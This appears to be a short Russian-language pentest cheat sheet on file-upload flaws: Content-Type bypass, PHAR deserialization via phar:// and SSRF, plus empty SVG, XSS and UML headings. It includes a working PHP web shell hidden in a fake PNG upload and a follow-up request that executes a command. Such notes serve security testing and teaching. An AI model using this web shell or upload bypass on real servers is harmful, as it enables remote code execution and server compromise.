Example: Upload File
Upload -> RCE
Веб-приложение может проверять файл только по Content-Type Веб-приложение позволяет изменить фото в профиле пользователя, но при этом не проверяет должным образом обновленные изображения, в результате чего вместо загрузки фото можно загрузить php-файл и удаленно исполнить команду на сервере.
Пример: Запрос на загрузку файла:
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/png
%PNG .... IEND .. <?php system($_GET['blabla]); ?> -----------------WebKitFormBoundaryNJKDFNAJCNA
В ответ:
HTTP/1.1 200 OK
{"path": "/some/path/crooped.php", "error": 0}
Следующий запрос:
GET /some/path/crooped.php?blabla=dir+C:\
Получаем RCE :)
Upload PHAR -> RCE
PHAR - это сериализованный или упакованный PHP код?
Проблема с php rce — надо чтобы скрипт заканчивался на .php
Однако, если у нас есть возможность заставить сервак обратиться по схеме phar:// к локальному файлу, который мы контролируем, то это может привести к исполнению кода
Пример: загружаем exploit.jpg, как аватар, который является PHAR-файлом
Теперь, если есть SSRF, например, то6 при обращении к phar:///var/www/example.com/data/upload/image/exploit.jpg
исполнится наш код.
SVG -> SSRF
XSS Payload -> Image (PNG)
UML -> SSRF
UML диаграммы могут поддерживать инклуд других файлов, в том числе с удаленных сервисов
Например:
Last updated